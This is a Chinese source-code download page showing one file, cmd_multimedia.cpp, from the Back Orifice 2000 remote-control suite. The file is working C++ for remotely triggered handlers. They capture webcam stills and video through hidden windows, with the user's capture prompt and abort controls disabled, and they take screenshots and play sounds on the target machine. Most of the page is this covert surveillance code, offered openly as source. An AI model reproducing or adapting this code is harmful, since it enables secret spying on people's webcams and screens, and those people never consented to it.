开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
cmd_multimedia.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：14k
源码类别：

远程控制编程

开发平台：

WINDOWS

cmd_multimedia.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. #include<windows.h>
  21. #include<auth.h>
  22. #include<iohandler.h>
  23. #include<encryption.h>
  24. #include<commandloop.h>
  25. #include<bocomreg.h>
  26. #include<cmdcmd_multimedia.h>
  27. #include<strhandle.h>
  28. #include<vfw.h>
  29. #include<main.h>
  31. int CmdProc_MMCapFrame(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  32. {
  33. char svBuffer[1024];
  35. // Create capture window (hidden inside invisible parent window)
  36. HWND hwnd,hwndCap;
  38. hwnd=CreateWindow("WSCLAS", "", 0, 0, 0, 1, 1, HWND_DESKTOP, NULL, g_module, NULL);
  39. if(hwnd==NULL) {
  40. IssueAuthCommandReply(cas_from,comid,0,"Could not create parent window.n");
  41. return 1;
  42. }
  44. hwndCap=capCreateCaptureWindow("Window", WS_CHILD, 0, 0, 160, 120, hwnd, 1);
  45. if(hwndCap==NULL) {
  46. DestroyWindow(hwnd);
  47. IssueAuthCommandReply(cas_from,comid,0,"Could not create capture window.n");
  48. return 1;
  49. }
  51. // Connect to capture driver
  52. if(capDriverConnect(hwndCap, nArg1)==FALSE) {
  53. DestroyWindow(hwnd);
  54. DestroyWindow(hwndCap);
  55. wsprintf(svBuffer, "Unable to connect to driver #%dn", nArg1);
  56. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  57. return 1;
  58. }
  60. // Ensure everything was initialized
  61. CAPDRIVERCAPS pcdc;
  62. capDriverGetCaps(hwndCap, &pcdc, sizeof(CAPDRIVERCAPS));
  63. if(!pcdc.fCaptureInitialized) {
  64. DestroyWindow(hwnd);
  65. DestroyWindow(hwndCap);
  66. wsprintf(svBuffer, "Driver was not initialized for device #%dn", nArg1);
  67. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  68. return 1;
  69. }
  71. // Get original bitmapinfo
  72. DWORD dwSize;
  73. BITMAPINFO *pbiOrig, *pbiInfo;
  75. dwSize=capGetVideoFormatSize(hwndCap);
  76. pbiOrig=(BITMAPINFO *)malloc(dwSize);
  77. if(pbiOrig==NULL) {
  78. DestroyWindow(hwndCap);
  79. DestroyWindow(hwnd);
  80. IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.n");
  81. return 1;
  82. }
  83. pbiInfo=(BITMAPINFO *)malloc(dwSize);
  84. if(pbiInfo==NULL) {
  85. DestroyWindow(hwndCap);
  86. DestroyWindow(hwnd);
  87. IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.n");
  88. return 1;
  89. }
  91. capGetVideoFormat(hwndCap, pbiOrig, dwSize); 
  92. memcpy(pbiInfo, pbiOrig, dwSize);
  94. // Parse video format spec
  95. DWORD dwWidth,dwHeight,dwBPP;
  96. char *svWidth,*svHeight,*svBPP;
  98. svWidth=svArg3;
  99. svHeight=BreakString(svWidth,",");
  100. svBPP=BreakString(svHeight,",");
  101. if(svWidth!=NULL) {
  102. dwWidth=atoi(svWidth);
  103. if(dwWidth<=0) dwWidth=640;
  104. } else dwWidth=640;
  105. if(svHeight!=NULL) {
  106. dwHeight=atoi(svHeight);
  107. if(dwHeight<=0) dwHeight=480;
  108. } else dwHeight=480;
  109. if(svBPP!=NULL) {
  110. dwBPP=atoi(svBPP);
  111. if(dwBPP<=0) dwBPP=16;
  112. } else dwBPP=16;
  114. pbiInfo->bmiHeader.biWidth = dwWidth;
  115. pbiInfo->bmiHeader.biHeight = dwHeight;
  116. pbiInfo->bmiHeader.biBitCount = (WORD) dwBPP;
  118. pbiInfo->bmiHeader.biSizeImage = 0;
  119. pbiInfo->bmiHeader.biCompression = BI_RGB;
  120. pbiInfo->bmiHeader.biClrUsed = 0;
  121. pbiInfo->bmiHeader.biClrImportant = 0;
  122. pbiInfo->bmiHeader.biPlanes = 1;
  124. pbiInfo->bmiColors->rgbBlue = 0;
  125. pbiInfo->bmiColors->rgbGreen = 0;
  126. pbiInfo->bmiColors->rgbRed = 0;
  127. pbiInfo->bmiColors->rgbReserved = 0;
  129. // Set video format, capture frame, and save to disk
  130. capSetVideoFormat(hwndCap, pbiInfo, dwSize);
  131. capGrabFrameNoStop(hwndCap);
  132. capFileSaveDIB(hwndCap, svArg2);
  134. // Restore original capture mode and clean up
  136. capSetVideoFormat(hwndCap, pbiOrig, dwSize);
  137. free(pbiOrig);
  138. free(pbiInfo);
  140. capDriverDisconnect(hwndCap); 
  142. DestroyWindow(hwndCap);
  143. DestroyWindow(hwnd);
  145. IssueAuthCommandReply(cas_from,comid,0,"Frame captured to file.n");
  147. return 0;
  148. }
  150. int CmdProc_MMCapAVI(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  151. {
  152. char svBuffer[1024];
  154. // Create capture window (hidden inside invisible parent window)
  155. HWND hwnd,hwndCap;
  157. hwnd=CreateWindow("WSCLAS", "", 0, 0, 0, 1, 1, HWND_DESKTOP, NULL, g_module, NULL);
  158. if(hwnd==NULL) {
  159. IssueAuthCommandReply(cas_from,comid,0,"Could not create parent window.n");
  160. return 1;
  161. }
  163. hwndCap=capCreateCaptureWindow("Window", WS_CHILD, 0, 0, 160, 120, hwnd, 1);
  164. if(hwndCap==NULL) {
  165. DestroyWindow(hwnd);
  166. IssueAuthCommandReply(cas_from,comid,0,"Could not create capture window.n");
  167. return 1;
  168. }
  170. // Connect to capture driver
  171. if(capDriverConnect(hwndCap, nArg1)==FALSE) {
  172. DestroyWindow(hwnd);
  173. DestroyWindow(hwndCap);
  174. wsprintf(svBuffer, "Unable to connect to driver #%dn", nArg1);
  175. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  176. return 1;
  177. }
  179. // Ensure everything was initialized
  180. CAPDRIVERCAPS pcdc;
  181. capDriverGetCaps(hwndCap, &pcdc, sizeof(CAPDRIVERCAPS));
  182. if(!pcdc.fCaptureInitialized) {
  183. DestroyWindow(hwnd);
  184. DestroyWindow(hwndCap);
  185. wsprintf(svBuffer, "Driver was not initialized for device #%dn", nArg1);
  186. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  187. return 1;
  188. }
  190. // Get original bitmapinfo
  191. DWORD dwSize;
  192. BITMAPINFO *pbiOrig, *pbiInfo;
  194. dwSize=capGetVideoFormatSize(hwndCap);
  195. pbiOrig=(BITMAPINFO *)malloc(dwSize);
  196. if(pbiOrig==NULL) {
  197. DestroyWindow(hwndCap);
  198. DestroyWindow(hwnd);
  199. IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.n");
  200. return 1;
  201. }
  202. pbiInfo=(BITMAPINFO *)malloc(dwSize);
  203. if(pbiInfo==NULL) {
  204. DestroyWindow(hwndCap);
  205. DestroyWindow(hwnd);
  206. IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.n");
  207. return 1;
  208. }
  210. capGetVideoFormat(hwndCap, pbiOrig, dwSize); 
  211. memcpy(pbiInfo, pbiOrig, dwSize);
  213. // Parse video format spec
  214. DWORD dwSeconds,dwWidth,dwHeight,dwBPP,dwFPS;
  215. char *svSeconds,*svWidth,*svHeight,*svBPP,*svFPS;
  217. svSeconds=svArg3;
  218. svWidth=BreakString(svSeconds,",");
  219. svHeight=BreakString(svWidth,",");
  220. svBPP=BreakString(svHeight,",");
  221. svFPS=BreakString(svBPP,",");
  222. if(svSeconds!=NULL) {
  223. dwSeconds=atoi(svSeconds);
  224. if(dwSeconds<=0) dwSeconds=5;
  225. } else dwWidth=5;
  226. if(svWidth!=NULL) {
  227. dwWidth=atoi(svWidth);
  228. if(dwWidth<=0) dwWidth=160;
  229. } else dwWidth=160;
  230. if(svHeight!=NULL) {
  231. dwHeight=atoi(svHeight);
  232. if(dwHeight<=0) dwHeight=120;
  233. } else dwHeight=120;
  234. if(svBPP!=NULL) {
  235. dwBPP=atoi(svBPP);
  236. if(dwBPP<=0) dwBPP=16;
  237. } else dwBPP=16;
  238. if(svFPS!=NULL) {
  239. dwFPS=atoi(svFPS);
  240. if(dwFPS<=0) dwFPS=15;
  241. } else dwFPS=15;
  243. pbiInfo->bmiHeader.biWidth = dwWidth;
  244. pbiInfo->bmiHeader.biHeight = dwHeight;
  245. pbiInfo->bmiHeader.biBitCount = (WORD) dwBPP;
  247. pbiInfo->bmiHeader.biSizeImage = 0;
  248. pbiInfo->bmiHeader.biCompression = BI_RGB;
  249. pbiInfo->bmiHeader.biClrUsed = 0;
  250. pbiInfo->bmiHeader.biClrImportant = 0;
  251. pbiInfo->bmiHeader.biPlanes = 1;
  253. pbiInfo->bmiColors->rgbBlue = 0;
  254. pbiInfo->bmiColors->rgbGreen = 0;
  255. pbiInfo->bmiColors->rgbRed = 0;
  256. pbiInfo->bmiColors->rgbReserved = 0;
  258. // Set video format, setup capture, and capture video
  259. CAPTUREPARMS capparms;
  261. capSetVideoFormat(hwndCap, pbiInfo, dwSize);
  262. capCaptureGetSetup(hwndCap, &capparms, sizeof(CAPTUREPARMS));
  263. capparms.fMakeUserHitOKToCapture = FALSE;
  264. capparms.vKeyAbort = 0;
  265. capparms.fAbortLeftMouse = FALSE;
  266. capparms.fAbortRightMouse = FALSE;
  267. capparms.fLimitEnabled = TRUE;
  268. capparms.wTimeLimit = dwSeconds;
  269. capparms.dwRequestMicroSecPerFrame = (1000000/dwFPS);
  271. capCaptureSetSetup(hwndCap, &capparms, sizeof(CAPTUREPARMS));
  272. capFileSetCaptureFile(hwndCap, svArg2); 
  274. IssueAuthCommandReply(cas_from,comid,0,"Capturing, please wait...n");
  276. capCaptureSequence(hwndCap); 
  278. // Restore old video format
  280. capSetVideoFormat(hwndCap, pbiOrig, dwSize);
  281. free(pbiOrig);
  282. free(pbiInfo);
  284. capDriverDisconnect(hwndCap); 
  286. DestroyWindow(hwndCap);
  287. DestroyWindow(hwnd);
  289. IssueAuthCommandReply(cas_from,comid,0,"AVI captured to file.n");
  290. return 0;
  291. }
  293. int CmdProc_MMPlaySound(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  294. {
  295. if (PlaySound(svArg2, NULL, SND_FILENAME|SND_NODEFAULT|SND_NOWAIT|SND_ASYNC)==FALSE) {
  296. IssueAuthCommandReply(cas_from,comid,0,"Unable to play sound.n");
  297. return 1;
  298. } 
  300. IssueAuthCommandReply(cas_from,comid,0,"Playing sound.n");
  301. return 0;
  302. }
  304. int CmdProc_MMLoopSound(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  305. {
  306. if (PlaySound(svArg2, NULL, SND_LOOP|SND_FILENAME|SND_NODEFAULT|SND_NOWAIT|SND_ASYNC)==FALSE) {
  307. IssueAuthCommandReply(cas_from,comid,0,"Unable to play sound.n");
  308. return 1;
  309. } 
  311. IssueAuthCommandReply(cas_from,comid,0,"Playing sound repeatedly.n");
  312. return 0;
  313. }
  315. int CmdProc_MMStopSound(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  316. {
  317. if (PlaySound(NULL, NULL, SND_PURGE)==FALSE) {
  318. IssueAuthCommandReply(cas_from,comid,0,"Unable to stop sound.n");
  319. return 1;
  320. } 
  322. IssueAuthCommandReply(cas_from,comid,0,"Sound stopped.n");
  323. return 0;
  324. }
  328. int CmdProc_MMListCaps(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  329. {
  330. char svBuffer[1024];
  331. char svName[256];
  332. char svComment[512];
  333. int i,nCount;
  335. IssueAuthCommandReply(cas_from,comid,1,"Listing video input devices:n");
  337. nCount=0;
  338. for (i=0;i<10;i++) {
  339. if(capGetDriverDescription(i, svName, 255, svComment, 511)) {
  340. wsprintf(svBuffer, "%d: %s %sn", i, svName, svComment);
  341. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  342. nCount++;
  343. }
  344. }
  346. wsprintf(svBuffer,"%d devices listed.n", nCount);
  347. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  349. return 0;
  350. }
  352. int CmdProc_MMCapScreen(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  353. {
  354. // Create device context
  355. HDC hdc;
  356. hdc=CreateDC("DISPLAY", NULL, NULL, NULL);
  357. if(hdc==NULL) {
  358. IssueAuthCommandReply(cas_from,comid,0,"Couldn't create device context.n");
  359. return 1;
  360. }
  362. // Get dimensions
  363. DWORD dwWidth, dwHeight, dwBPP, dwNumColors;
  365. dwWidth = GetDeviceCaps(hdc, HORZRES);
  366. dwHeight = GetDeviceCaps(hdc, VERTRES);
  367. dwBPP = GetDeviceCaps(hdc, BITSPIXEL);
  368. if(dwBPP<=8) {
  369. dwNumColors = GetDeviceCaps(hdc, NUMCOLORS);
  370. dwNumColors = 256;
  371. } else {
  372. dwNumColors = 0;
  373. }
  375. // Create compatible DC
  376. HDC hdc2;
  377. hdc2=CreateCompatibleDC(hdc);
  378. if(hdc2==NULL) {
  379. DeleteDC(hdc);
  380. IssueAuthCommandReply(cas_from,comid,0,"Couldn't create compatible device context.n");
  381. return 1;
  382. }
  384. // Create bitmap
  385. HBITMAP bitmap;
  386. BITMAPINFO bmpinfo;
  387. LPVOID pBits;
  389. bmpinfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
  390. bmpinfo.bmiHeader.biWidth = dwWidth;
  391. bmpinfo.bmiHeader.biHeight = dwHeight;
  392. bmpinfo.bmiHeader.biPlanes = 1;
  393. bmpinfo.bmiHeader.biBitCount = (WORD) dwBPP;
  394. bmpinfo.bmiHeader.biCompression = BI_RGB;
  395. bmpinfo.bmiHeader.biSizeImage = 0;
  396. bmpinfo.bmiHeader.biXPelsPerMeter = 0;
  397. bmpinfo.bmiHeader.biYPelsPerMeter = 0;
  398. bmpinfo.bmiHeader.biClrUsed = dwNumColors;
  399. bmpinfo.bmiHeader.biClrImportant = dwNumColors;
  401. bitmap = CreateDIBSection(hdc, &bmpinfo, DIB_PAL_COLORS, &pBits, NULL, 0);
  402. if(bitmap==NULL) {
  403. DeleteDC(hdc);
  404. DeleteDC(hdc2);
  405. IssueAuthCommandReply(cas_from,comid,0,"Couldn't create compatible bitmap.n");
  406. return 1;
  407. }
  408. HGDIOBJ gdiobj;
  409. gdiobj = SelectObject(hdc2, (HGDIOBJ)bitmap);
  410. if((gdiobj==NULL) || (gdiobj==(void *)GDI_ERROR)) {
  411. DeleteDC(hdc);
  412. DeleteDC(hdc2);
  413. IssueAuthCommandReply(cas_from,comid,0,"Couldn't select bitmap.n");
  414. return 1;
  415. }
  416. if (!BitBlt(hdc2, 0,0, dwWidth, dwHeight, hdc, 0,0, SRCCOPY)) {
  417. DeleteDC(hdc);
  418. DeleteDC(hdc2);
  419. IssueAuthCommandReply(cas_from,comid,0,"Couldn't copy bitmap.n");
  420. return 1;
  421. }
  423. RGBQUAD colors[256];
  424. if(dwNumColors!=0) {
  425. dwNumColors = GetDIBColorTable(hdc2, 0, dwNumColors, colors);
  426. }
  429. // Fill in bitmap structures
  430. BITMAPFILEHEADER bitmapfileheader;
  431. BITMAPINFOHEADER bitmapinfoheader;
  433. bitmapfileheader.bfType = 0x4D42;
  434. bitmapfileheader.bfSize = ((dwWidth * dwHeight * dwBPP)/8) + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + (dwNumColors * sizeof(RGBQUAD));
  435. bitmapfileheader.bfReserved1 = 0;
  436. bitmapfileheader.bfReserved2 = 0;
  437. bitmapfileheader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + (dwNumColors * sizeof(RGBQUAD));  
  439. bitmapinfoheader.biSize = sizeof(BITMAPINFOHEADER);
  440. bitmapinfoheader.biWidth = dwWidth;
  441. bitmapinfoheader.biHeight = dwHeight;
  442. bitmapinfoheader.biPlanes = 1;
  443. bitmapinfoheader.biBitCount = (WORD)dwBPP;
  444. bitmapinfoheader.biCompression = BI_RGB;
  445. bitmapinfoheader.biSizeImage = 0;
  446. bitmapinfoheader.biXPelsPerMeter = 0;
  447. bitmapinfoheader.biYPelsPerMeter = 0;
  448. bitmapinfoheader.biClrUsed = dwNumColors;
  449. bitmapinfoheader.biClrImportant = 0;
  451. // Write bitmap to disk
  452. HANDLE hfile;
  453. DWORD dwBytes;
  455. hfile=CreateFile(svArg2,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  456. if(hfile==INVALID_HANDLE_VALUE) {
  457. DeleteObject(bitmap);
  458. DeleteDC(hdc2);
  459. DeleteDC(hdc);
  460. IssueAuthCommandReply(cas_from,comid,0,"Couldn't write file to disk.n");
  461. return 1;
  462. }
  463. WriteFile(hfile,&bitmapfileheader,sizeof(BITMAPFILEHEADER), &dwBytes, NULL);
  464. WriteFile(hfile,&bitmapinfoheader,sizeof(BITMAPINFOHEADER), &dwBytes, NULL);
  465. if(dwNumColors!=0)
  466. WriteFile(hfile,colors,sizeof(RGBQUAD)*dwNumColors,&dwBytes,NULL);
  467. WriteFile(hfile,pBits,(dwWidth*dwHeight*dwBPP)/8,&dwBytes,NULL);
  468. CloseHandle(hfile);
  470. IssueAuthCommandReply(cas_from,comid,0,"Bitmap captured to disk file.n");
  472. // Clean up
  474. DeleteObject(bitmap);
  475. DeleteDC(hdc2);
  476. DeleteDC(hdc);
  478. return 0;
  479. }